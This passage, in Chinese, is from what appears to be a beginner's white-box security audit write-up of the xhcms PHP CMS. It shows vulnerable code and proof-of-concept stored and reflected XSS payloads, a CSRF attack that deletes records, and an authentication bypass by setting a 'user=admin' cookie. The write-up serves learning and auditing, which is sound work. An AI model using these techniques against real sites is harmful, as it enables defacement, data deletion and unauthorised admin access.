1 2 3 4 5 6 7 8 9 10 11 12 <div class ="col -lg -8"> <input name ="name " type ="text " class ="form -control " value ="<?php echo $nav ['name ']?>"> </div > </div > <?php if ($type <>2) {?> <div class ="form -group "> <label class ="col -lg -4 control -label ">链接</label > <div class ="col -lg -8"> <input name ="link " type ="text " class ="form -control " value ="<?php echo $nav ['link ']?>" > </div > </div > <?php }?>
同样的输入同样的输出,只是这里多了个id和type来进入sql操作,payload打一打:
GET:
1 http://127.0.0.1/admin/?r=editcolumn&type=1&id=1
POST:
1 name=</textarea><script>alert ('xss1' )</script>&link=</textarea><script>alert ('xss2' )</script>&keywords=</textarea><script>alert ('xss3' )</script>&description=</textarea><script>alert ('xss4' )</script>&px=</textarea><script>alert ('xss5' )</script>&xs=0 &content=<p> 请在后台栏目设置编辑这里的内容</p>&save=1
成功弹窗!数据库交互存储型xss
同样的方法,测试出在
/admin/file/editlink.php /admin/files/editsoft.php /admin/files/edittwz.php /admin/files/imageset.php 等等文件中都存在存储型xss,还有一些前面sql注入测试中提到的文件都存在同样的问题,这里就不提了。
反射型xss files/contact.php 12~15行
1 2 3 4 $page =addslashes ($_GET ['page' ]);if ($page <>"" ){if ($page <>1 ){$pages ="第" .$page ."页 - " ;
这里的$page经过addslashes()函数处理一次带入了页面,经典问题。直接传payload打一打(因为addlashes()函数过滤,所以payload中不再使用单双引号,改用正斜杠):payload:
成功弹窗,因为这里没有和数据库的交互,所以只是一个反射型的xss漏洞。
fiels/download.php 1 2 3 4 5 6 7 8 9 10 11 12 13 $yemas =$_GET ['page' ];if ($yemas <>"" ){$yema =" - 第 $yemas 页" ;}else { $yema ="" ; } $pageyema ="r=" .$navs ['link' ]?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" > <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php echo $navs ['name' ]?> <?php echo $yema ?> - <?php echo $info ['name' ]?> </title>
$yema变量未过滤,直接拼接输出,xss打一打:
成功弹窗
我白盒审计出的xss漏洞就这些了。
五、csrf admin/files/linklist.php 1 2 3 4 5 6 7 8 $delete =$_GET ['delete' ];if ($delete <>"" ){$query = "DELETE FROM download WHERE id='$delete '" ;$result = mysql_query ($query ) or die ('SQL语句有误:' .mysql_error ());echo "<script>alert('亲,ID为" .$delete ."的内容已经成功删除!');location.href='?r=softlist'</script>" ;exit ; } ?>
未经任何过滤检验,也没有执行token验证,可以执行csrf攻击,尝试:
点击删除,并抓包:
用burp自带工具一键生成一个poc利用一下:
换个浏览器访问:
可以看到,已经成功删除了!
除了这里,在
admin/files/wzlist.php admin/files/softlist.php 等文件中也存在同样的漏洞问题,同样的利用方式。
六、越权 /inc/checklogin.php 在进入到管理员首页时,首先会检测是否是登录的状态,而判断登录的状态是通过截取cookie中user字段的值来判断是否进行了登录。显然,这种是有缺陷的。我们直接在cookie中添加user=admin即可进行登录
总结 至此xhcms白盒审计就结束了,这个cms不愧是传说中极其适合新手审计的目标,简直是“漏洞百出”,哈哈。
审计过程中,seay审计工具给了很大帮助,很多简单的 注入漏洞直接就报警给出来了。不过也有一些误报,就是那些利用线长一些的变量,就需要我们自己去自习寻根问源了。在审计中,遇到了不少问题,一些漏洞不再是就在几行代码中就能找到,并加以利用,而是要寻根上朔,一步步把它理清,这对我养成精心看代码的习惯有很大帮助。
不过这个cms的审计就像师傅们说的一样,简单,适合新手,但像这个cms中一样简单的sql注入之类的漏洞现在几乎稀少到不可见了,因此,下一步就要更进一步,学习审计框架之类来进行提升。